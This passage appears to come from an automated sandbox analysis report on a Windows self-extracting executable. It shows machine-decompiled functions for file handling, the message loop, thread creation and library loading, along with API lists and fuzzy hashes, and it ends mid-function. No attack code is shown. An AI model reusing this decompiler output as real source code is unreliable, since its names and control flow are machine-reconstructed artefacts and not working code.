0x0111a032
0x0111a034
0x0111a080
0x0111a080
0x0111a082
0x0111a082
0x0111a084
0x0111a0be
0x0111a0bf
0x00000000
0x0111a0c4
0x0111a098
0x0111a09d
0x0111a09f
0x00000000
0x00000000
0x0111a0a3
0x0111a0a4
0x0111a0a5
0x0111a0a8
0x0111a0e4
0x0111a0e7
0x0111a0aa
0x0111a0aa
0x0111a0ab
0x0111a0ab
0x0111a0b8
0x0111a0ba
0x0111a0bc
0x0111a0ed
0x00000000
0x00000000
0x00000000
0x00000000
0x0111a0bc
0x0111a036
0x0111a039
0x0111a03b
0x0111a03d
0x0111a03f
0x0111a042
0x0111a047
0x0111a062
0x0111a064
0x0111a06e
0x0111a070
0x0111a071
0x0111a073
0x00000000
0x00000000
0x0111a075
0x0111a07b
0x0111a07b
0x00000000
0x0111a07b
0x0111a049
0x0111a04b
0x0111a04f
0x0111a054
0x0111a056
0x0111a058
0x00000000
0x00000000
0x0111a05a
0x00000000
0x0111a05a
0x01119ff0
0x01119ff5
0x00000000
0x00000000
0x01119ffb
0x01119ffd
0x00000000
0x00000000
0x0111a014
0x0111a019
0x0111a01d
0x00000000
0x00000000
0x00000000
0x0111a023
0x01119f56
0x01119f58
0x01119f5a
0x01119f62
0x01119f81
0x01119f83
0x01119f8d
0x01119f8f
0x01119f90
0x01119f92
0x00000000
0x00000000
0x01119f98
0x01119f9e
0x01119f9e
0x00000000
0x01119f9e
0x01119f66
0x01119f6a
0x01119f6f
0x01119f73
0x00000000
0x00000000
0x01119f79
0x00000000
0x01119f79

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,01114DDB,01114DDB,?,?,?,0111A129,00000001,00000001,7FE85006), ref: 01119F32
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0111A129,00000001,00000001,7FE85006,?,?,?), ref: 01119FB8
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,7FE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0111A0B2
__freea.LIBCMT ref: 0111A0BF

Part of subcall function 01118398: RtlAllocateHeap.NTDLL(00000000,?,?,?,01113866,?,0000015D,?,?,?,?,01114D42,000000FF,00000000,?,?), ref: 011183CA

__freea.LIBCMT ref: 0111A0C8
__freea.LIBCMT ref: 0111A0ED

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: b1946c2af2af9389cf96d1a01689b322d251920ae72f5fe3cea286184ba2866e
Instruction ID: 0e5dbe35010cae43a959aa5acf061993583598edeaea943943a22a2d82ffac89
Opcode Fuzzy Hash: b1946c2af2af9389cf96d1a01689b322d251920ae72f5fe3cea286184ba2866e
Instruction Fuzzy Hash: 7151F372601256AFEB2D8E68EC40EBFBFA9EF40654F154678FD04D7148EB35DC4086A1

Uniqueness

Uniqueness Score: -1.00%

Function 0110A245, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0110A245(long _a4) {
				short _v164;
				long _t5;
				long _t6;
				WCHAR* _t9;
				long _t11;

				_t11 = _a4;
				_t5 = GetClassNameW(_t11,  &_v164, 0x50);
				if(_t5 != 0) {
					_t9 = L"EDIT";
					_t5 = E01101708( &_v164, _t9);
					if(_t5 != 0) {
						_t5 = FindWindowExW(_t11, 0, _t9, 0); // executed
						_t11 = _t5;
					}
				}
				if(_t11 != 0) {
					_t6 = SHAutoComplete(_t11, 0x10); // executed
					return _t6;
				}
				return _t5;
			}

0x0110a255
0x0110a25c
0x0110a264
0x0110a267
0x0110a274
0x0110a27b
0x0110a283
0x0110a289
0x0110a289
0x0110a28b
0x0110a28e
0x0110a293
0x00000000
0x0110a293
0x0110a29d

APIs

GetClassNameW.USER32(?,?,00000050), ref: 0110A25C
SHAutoComplete.SHLWAPI(?,00000010), ref: 0110A293

Part of subcall function 01101708: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011708,010FBA45,00000000,.exe,?,?,00000800,?,?,0110854F,?), ref: 0110171E

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 0110A283

Strings

plWv, xrefs: 0110A293
EDIT, xrefs: 0110A267, 0110A272, 0110A27F

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT$plWv
API String ID: 4243998846-3413696572
Opcode ID: 6cd9c57920be30b9e488493dcfc2228addf420847aedf60fa6aa5db376876e2d
Instruction ID: 0e79d88e1677a350b5d94bac8a32fd6bd7c5378c12d94feed8d8739e637d6d53
Opcode Fuzzy Hash: 6cd9c57920be30b9e488493dcfc2228addf420847aedf60fa6aa5db376876e2d
Instruction Fuzzy Hash: 31F0E232F01328BBE7365569AC05FAB7B6C9F46B11F040176FE04A31C0D7A5994186F6

Uniqueness

Uniqueness Score: -1.00%

Function 010F9950, Relevance: 7.6, APIs: 5, Instructions: 116
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E010F9950(void* __ecx, void* __esi, struct _FILETIME _a4, signed int _a8, short _a12, WCHAR* _a4184, unsigned int _a4188) {
				long _v0;
				void* _t48;
				long _t59;
				unsigned int _t61;
				long _t64;
				signed int _t65;
				char _t68;
				void* _t72;
				void* _t74;
				long _t78;
				void* _t81;

				_t74 = __esi;
				E0110E1C0();
				_t61 = _a4188;
				_t72 = __ecx;
				 *(__ecx + 0x1020) =  *(__ecx + 0x1020) & 0x00000000;
				if( *((char*)(__ecx + 0x1d)) != 0 || (_t61 & 0x00000004) != 0) {
					_t68 = 1;
				} else {
					_t68 = 0;
				}
				_push(_t74);
				asm("sbb esi, esi");
				_t78 = ( ~(_t61 >> 0x00000001 & 1) & 0xc0000000) + 0x80000000;
				if((_t61 & 0x00000001) != 0) {
					_t78 = _t78 | 0x40000000;
				}
				_t64 =  !(_t61 >> 3) & 0x00000001;
				if(_t68 != 0) {
					_t64 = _t64 | 0x00000002;
				}
				_v0 = (0 |  *((intOrPtr*)(_t72 + 0x15)) != 0x00000000) - 0x00000001 & 0x08000000;
				E010F7098( &_a12);
				if( *((char*)(_t72 + 0x1c)) != 0) {
					_t78 = _t78 | 0x00000100;
				}
				_t48 = CreateFileW(_a4184, _t78, _t64, 0, 3, _v0, 0); // executed
				_t81 = _t48;
				if(_t81 != 0xffffffff) {
					L17:
					if( *((char*)(_t72 + 0x1c)) != 0 && _t81 != 0xffffffff) {
						_a4.dwLowDateTime = _a4.dwLowDateTime | 0xffffffff;
						_a8 = _a8 | 0xffffffff;
						SetFileTime(_t81, 0,  &_a4, 0);
					}
					 *((char*)(_t72 + 0x12)) = 0;
					_t65 = _t64 & 0xffffff00 | _t81 != 0xffffffff;
					 *((intOrPtr*)(_t72 + 0xc)) = 0;
					 *((char*)(_t72 + 0x10)) = 0;
					if(_t81 != 0xffffffff) {
						 *(_t72 + 4) = _t81;
						E010FFD96(_t72 + 0x1e, _a4184, 0x800);
					}
					return _t65;
				} else {
					_a4.dwLowDateTime = GetLastError();
					if(E010FB5AC(_a4184,  &_a12, 0x800) == 0) {
						L15:
						if(_a4.dwLowDateTime == 2) {
							 *((intOrPtr*)(_t72 + 0x1020)) = 1;
						}
						goto L17;
					}
					_t81 = CreateFileW( &_a12, _t78, _t64, 0, 3, _v0, 0);
					_t59 = GetLastError();
					if(_t59 == 2) {
						_a4.dwLowDateTime = _t59;
					}
					if(_t81 != 0xffffffff) {
						goto L17;
					} else {
						goto L15;
					}
				}
			}

0x010f9950
0x010f9955
0x010f995b
0x010f9964
0x010f9966
0x010f9971
0x010f997c
0x010f9978
0x010f9978
0x010f9978
0x010f9982
0x010f998a
0x010f9992
0x010f999b
0x010f999d
0x010f999d
0x010f99a8
0x010f99ad
0x010f99af
0x010f99af
0x010f99c4
0x010f99c8
0x010f99d1
0x010f99d3
0x010f99d3
0x010f99ec
0x010f99f2
0x010f99f7
0x010f9a5b
0x010f9a60
0x010f9a67
0x010f9a70
0x010f9a7b
0x010f9a7b
0x010f9a86
0x010f9a89
0x010f9a8c
0x010f9a8f
0x010f9a95
0x010f9aa6
0x010f9aaa
0x010f9aaa
0x010f9aba
0x010f99f9
0x010f99ff
0x010f9a1b
0x010f9a4a
0x010f9a4f
0x010f9a51
0x010f9a51
0x00000000
0x010f9a4f
0x010f9a34
0x010f9a36
0x010f9a3f
0x010f9a41
0x010f9a41
0x010f9a48
0x00000000
0x00000000
0x00000000
0x00000000
0x010f9a48

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,?,00000000,?,00000000,?,?,010F7886,?,00000005,?,00000011), ref: 010F99EC
GetLastError.KERNEL32(?,?,010F7886,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 010F99F9
CreateFileW.KERNEL32(?,?,?,00000000,00000003,?,00000000,?,00000000,00000800,?,?,010F7886,?,00000005,?), ref: 010F9A2E
GetLastError.KERNEL32(?,?,010F7886,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 010F9A36
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,010F7886,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 010F9A7B

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 5476014f65ec62a4afdff7feed0aa0044c64a020c0c607d6e0d7e0055e10ea9e
Instruction ID: 09083c873ec4190ebd6eeadf9596ad3f2915bd52ca39f91a28928107e7282cf2
Opcode Fuzzy Hash: 5476014f65ec62a4afdff7feed0aa0044c64a020c0c607d6e0d7e0055e10ea9e
Instruction Fuzzy Hash: 844125319447466BE7319E28CC06BDABBE4AB01328F10071DF7E1925D1D7B9959CCBD1

Uniqueness

Uniqueness Score: -1.00%

Function 0110ABC4, Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0110ABC4() {
				struct tagMSG _v32;
				int _t7;
				struct HWND__* _t10;
				long _t14;

				_t7 = PeekMessageW( &_v32, 0, 0, 0, 0); // executed
				if(_t7 != 0) {
					GetMessageW( &_v32, 0, 0, 0);
					_t10 =  *0x1137438; // 0x1f0210
					if(_t10 == 0) {
						L3:
						TranslateMessage( &_v32);
						_t14 = DispatchMessageW( &_v32); // executed
						return _t14;
					}
					_t7 = IsDialogMessageW(_t10,  &_v32);
					if(_t7 == 0) {
						goto L3;
					}
				}
				return _t7;
			}

0x0110abd5
0x0110abdd
0x0110abe6
0x0110abec
0x0110abf3
0x0110ac04
0x0110ac08
0x0110ac12
0x00000000
0x0110ac12
0x0110abfa
0x0110ac02
0x00000000
0x00000000
0x0110ac02
0x0110ac1c

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0110ABD5
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0110ABE6
IsDialogMessageW.USER32(001F0210,?), ref: 0110ABFA
TranslateMessage.USER32(?), ref: 0110AC08
DispatchMessageW.USER32(?), ref: 0110AC12

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 1220dea7dc53beea1d48459d4d355a6df738f9a7c5e5c64914947bdc28031e7f
Instruction ID: 402056dff31f99cfe41ebc4d79b10dbabbb091d8cbd73b1a8a3810344a89bda3
Opcode Fuzzy Hash: 1220dea7dc53beea1d48459d4d355a6df738f9a7c5e5c64914947bdc28031e7f
Instruction Fuzzy Hash: BCF06D71E01319BB9B399BE6AD0CEEF7F6CEE062917804025B529C3044E724E045C7F0

Uniqueness

Uniqueness Score: -1.00%

Function 0110A2B3, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
comCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E0110A2B3(intOrPtr* __ecx) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _t10;

				_t10 = E010FFFE3(L"riched20.dll"); // executed
				 *__ecx = _t10;
				 *0x115117c(0); // executed
				_v16 = 8;
				_v12 = 0x7ff;
				 *0x1151034( &_v16);
				_v32 = 1;
				_v28 = 0;
				_v24 = 0;
				_v20 = 0;
				L0110E094(); // executed
				 *0x1151088(0x1137430,  &_v8,  &_v32, 0); // executed
				return __ecx;
			}

0x0110a2c2
0x0110a2c9
0x0110a2cc
0x0110a2d5
0x0110a2dd
0x0110a2e4
0x0110a2ee
0x0110a2f9
0x0110a2fd
0x0110a300
0x0110a303
0x0110a30d
0x0110a31a

APIs

Part of subcall function 010FFFE3: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 010FFFFE
Part of subcall function 010FFFE3: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,010FEAC6,Crypt32.dll,00000000,010FEB4A,?,?,010FEB2C,?,?,?), ref: 01100020

OleInitialize.OLE32(00000000), ref: 0110A2CC
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0110A303
SHGetMalloc.SHELL32(01137430), ref: 0110A30D

Strings

riched20.dll, xrefs: 0110A2BB

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll
API String ID: 3498096277-3360196438
Opcode ID: 3b9258ff377be09d05f8c0faedeea50e6e83aad538d6b61f63709044a45d6157
Instruction ID: 3f8bd102a7ec5ee0e4b71ec8000e8a04c7fefe44a51b545431acf55851481381
Opcode Fuzzy Hash: 3b9258ff377be09d05f8c0faedeea50e6e83aad538d6b61f63709044a45d6157
Instruction Fuzzy Hash: 0FF068B1D00209EBC720AF95D848AEFFFFCEF54304F00415AE854E2204C7B456458BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0110D104, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E0110D104(void* __eflags, WCHAR* _a4) {
				char _v8196;
				int _t7;
				WCHAR* _t12;
				void* _t14;

				_t14 = __eflags;
				E0110E1C0();
				SetEnvironmentVariableW(L"sfxcmd", _a4); // executed
				_t7 = E010FFB18(_t14, _a4,  &_v8196, 0x1000);
				_t12 = _t7;
				if(_t12 != 0) {
					_push( *_t12 & 0x0000ffff);
					while(E010FFC31() != 0) {
						_t12 =  &(_t12[1]);
						__eflags = _t12;
						_push( *_t12 & 0x0000ffff);
					}
					_t7 = SetEnvironmentVariableW(L"sfxpar", _t12); // executed
				}
				return _t7;
			}

0x0110d104
0x0110d10c
0x0110d11a
0x0110d12f
0x0110d134
0x0110d138
0x0110d13d
0x0110d147
0x0110d140
0x0110d140
0x0110d146
0x0110d146
0x0110d156
0x0110d156
0x0110d160

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 0110D11A
SetEnvironmentVariableW.KERNELBASE(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0110D156

Strings

sfxcmd, xrefs: 0110D115
sfxpar, xrefs: 0110D151

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 46399ddedbb0557c41f3a918fff9e86e05cf2993c7ce8ba50b62fc7ffe05e0a2
Instruction ID: 801db81012ea5fbee0a45a4655043600f4ea8799a0fa87fa9580ca64373be0ae
Opcode Fuzzy Hash: 46399ddedbb0557c41f3a918fff9e86e05cf2993c7ce8ba50b62fc7ffe05e0a2
Instruction Fuzzy Hash: 7AF0A772C01239A6DB391FD5AC09FEA7B58EF19A41B040059FE8496140DBB588A0D7E5

Uniqueness

Uniqueness Score: -1.00%

Function 010F97EE, Relevance: 6.1, APIs: 4, Instructions: 57
fileCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E010F97EE(void* __ecx, void* _a4, long _a8) {
				long _v8;
				int _t14;
				signed int _t15;
				void* _t25;

				_push(__ecx);
				_t25 = __ecx;
				if( *((intOrPtr*)(__ecx + 0xc)) == 1) {
					 *(_t25 + 4) = GetStdHandle(0xfffffff6);
				}
				_t14 = ReadFile( *(_t25 + 4), _a4, _a8,  &_v8, 0); // executed
				if(_t14 != 0) {
					_t15 = _v8;
				} else {
					_t16 = E010F9929(_t25);
					if(_t16 == 0) {
						L7:
						if( *((intOrPtr*)(_t25 + 0xc)) != 1) {
							L10:
							if( *((intOrPtr*)(_t25 + 0xc)) != 0 || _a8 <= 0x8000) {
								L14:
								_t15 = _t16 | 0xffffffff;
							} else {
								_t16 = GetLastError();
								if(_t16 != 0x21) {
									goto L14;
								} else {
									_push(0x8000);
									goto L6;
								}
							}
						} else {
							_t16 = GetLastError();
							if(_t16 != 0x6d) {
								goto L10;
							} else {
								_t15 = 0;
							}
						}
					} else {
						_t16 = 0x4e20;
						if(_a8 <= 0x4e20) {
							goto L7;
						} else {
							_push(0x4e20);
							L6:
							_push(_a4);
							_t15 = E010F97EE(_t25);
						}
					}
				}
				return _t15;
			}

0x010f97f1
0x010f97f3
0x010f97fa
0x010f9804
0x010f9804
0x010f9816
0x010f981e
0x010f987a
0x010f9820
0x010f9822
0x010f9829
0x010f9842
0x010f9846
0x010f9857
0x010f985b
0x010f9875
0x010f9875
0x010f9867
0x010f9867
0x010f9870
0x00000000
0x010f9872
0x010f9872
0x00000000
0x010f9872
0x010f9870
0x010f9848
0x010f9848
0x010f9851
0x00000000
0x010f9853
0x010f9853
0x010f9853
0x010f9851
0x010f982b
0x010f982b
0x010f9833
0x00000000
0x010f9835
0x010f9835
0x010f9836
0x010f9836
0x010f983b
0x010f983b
0x010f9833
0x010f9829
0x010f9882

APIs

GetStdHandle.KERNEL32(000000F6), ref: 010F97FE
ReadFile.KERNELBASE(?,?,00000001,?,00000000), ref: 010F9816
GetLastError.KERNEL32 ref: 010F9848
GetLastError.KERNEL32 ref: 010F9867

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 1a26988016ccc8844972b53ab623708ea3d935b4240bf39f1ff0d46a50faac86
Instruction ID: bd27318246c48c27f866332345f4f3df836e16b0860f0ff9b9044590c48f61da
Opcode Fuzzy Hash: 1a26988016ccc8844972b53ab623708ea3d935b4240bf39f1ff0d46a50faac86
Instruction Fuzzy Hash: DF119E30904204EBDB718E98C806BAD37EAEB01269F10C26DF6EB81990D739C946CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0111A374, Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E0111A374(signed int _a4) {
				signed int _t9;
				void* _t10;
				void* _t13;
				signed int _t15;
				WCHAR* _t22;
				signed int _t24;
				signed int* _t25;
				void* _t27;

				_t9 = _a4;
				_t25 = 0x11505d8 + _t9 * 4;
				_t24 =  *_t25;
				if(_t24 == 0) {
					_t22 =  *(0x1125e70 + _t9 * 4);
					_t10 = LoadLibraryExW(_t22, 0, 0x800); // executed
					_t27 = _t10;
					if(_t27 != 0) {
						L8:
						 *_t25 = _t27;
						if( *_t25 != 0) {
							FreeLibrary(_t27);
						}
						_t13 = _t27;
						L11:
						return _t13;
					}
					_t15 = GetLastError();
					if(_t15 != 0x57) {
						_t27 = 0;
					} else {
						_t15 = LoadLibraryExW(_t22, _t27, _t27);
						_t27 = _t15;
					}
					if(_t27 != 0) {
						goto L8;
					} else {
						 *_t25 = _t15 | 0xffffffff;
						_t13 = 0;
						goto L11;
					}
				}
				_t4 = _t24 + 1; // 0xf5f1ec06
				asm("sbb eax, eax");
				return  ~_t4 & _t24;
			}

0x0111a379
0x0111a37d
0x0111a384
0x0111a388
0x0111a396
0x0111a3a6
0x0111a3ac
0x0111a3b0
0x0111a3d9
0x0111a3db
0x0111a3df
0x0111a3e2
0x0111a3e2
0x0111a3e8
0x0111a3ea
0x00000000
0x0111a3eb
0x0111a3b2
0x0111a3bb
0x0111a3ca
0x0111a3bd
0x0111a3c0
0x0111a3c6
0x0111a3c6
0x0111a3ce
0x00000000
0x0111a3d0
0x0111a3d3
0x0111a3d5
0x00000000
0x0111a3d5
0x0111a3ce
0x0111a38a
0x0111a38f
0x00000000

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,011136CF,00000000,00000000,?,0111A31B,011136CF,00000000,00000000,00000000,?,0111A518,00000006,FlsSetValue), ref: 0111A3A6
GetLastError.KERNEL32(?,0111A31B,011136CF,00000000,00000000,00000000,?,0111A518,00000006,FlsSetValue,01126328,01126330,00000000,00000364,?,01118EF7), ref: 0111A3B2
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0111A31B,011136CF,00000000,00000000,00000000,?,0111A518,00000006,FlsSetValue,01126328,01126330,00000000), ref: 0111A3C0

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: b6867aa6354313d06273ac1cf33fa7ccd067d2bd565c79b14adc5057ed2f9001
Instruction ID: 79cebda53413f1579e24a983e533b495eb123ce331269df87bdaee0816acb074
Opcode Fuzzy Hash: b6867aa6354313d06273ac1cf33fa7ccd067d2bd565c79b14adc5057ed2f9001
Instruction Fuzzy Hash: 9C01473262A232ABC73E4E6CBC44F6ABF59AF05762B110131FA16D3148D7B0C451C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 011007E7, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
threadCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E011007E7() {
				long _v4;
				void* __ecx;
				void* __esi;
				void* __ebp;
				void* _t5;
				void* _t7;
				int _t8;
				void* _t12;
				void** _t18;
				void* _t22;

				_t12 = 0;
				if( *0x112ff50 > 0) {
					_t18 = 0x112ff54;
					do {
						_t7 = CreateThread(0, 0x10000, E01100930, 0x112ff50, 0,  &_v4); // executed
						_t22 = _t7;
						if(_t22 == 0) {
							_push(L"CreateThread failed");
							_push(0x112ff50);
							E010F6E21(E01112DC0(E010F6E26(0x112ff50)), 0x112ff50, 0x112ff50, 2);
						}
						 *_t18 = _t22;
						 *0x01130054 =  *((intOrPtr*)(0x1130054)) + 1;
						_t8 =  *0x11371d8; // 0x0
						if(_t8 != 0) {
							_t8 = SetThreadPriority( *_t18, _t8);
						}
						_t12 = _t12 + 1;
						_t18 =  &(_t18[1]);
					} while (_t12 <  *0x112ff50);
					return _t8;
				}
				return _t5;
			}

0x011007ec
0x011007f0
0x011007f4
0x011007f7
0x0110080b
0x01100811
0x01100815
0x01100817
0x0110081c
0x01100839
0x01100839
0x0110083e
0x01100840
0x01100846
0x0110084d
0x01100852
0x01100852
0x01100858
0x01100859
0x0110085c
0x00000000
0x01100861
0x01100865

APIs

CreateThread.KERNELBASE(00000000,00010000,Function_00010930,?,00000000,00000000), ref: 0110080B
SetThreadPriority.KERNEL32(?,00000000), ref: 01100852

Part of subcall function 010F6E26: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 010F6E44

Strings

CreateThread failed, xrefs: 01100817

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 53103af1e6672000783bc3c4736bd98ecc3aac657ba6594942e092f3a1f93098
Instruction ID: 2dd59f83afccd5a3d5eae0120004af51958caf992f3390f53ced779a8ec30f66
Opcode Fuzzy Hash: 53103af1e6672000783bc3c4736bd98ecc3aac657ba6594942e092f3a1f93098
Instruction Fuzzy Hash: 170126B26443037BD33C5E54EC85FA677A9FB59751F20003EF695A21C4CBE16850C760

Uniqueness

Uniqueness Score: -1.00%

Function 010F9E6F, Relevance: 4.6, APIs: 3, Instructions: 107
fileCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E010F9E6F(void* __edx, void* _a4, long _a8) {
				char _v4;
				long _v8;
				void* __ecx;
				void* __ebp;
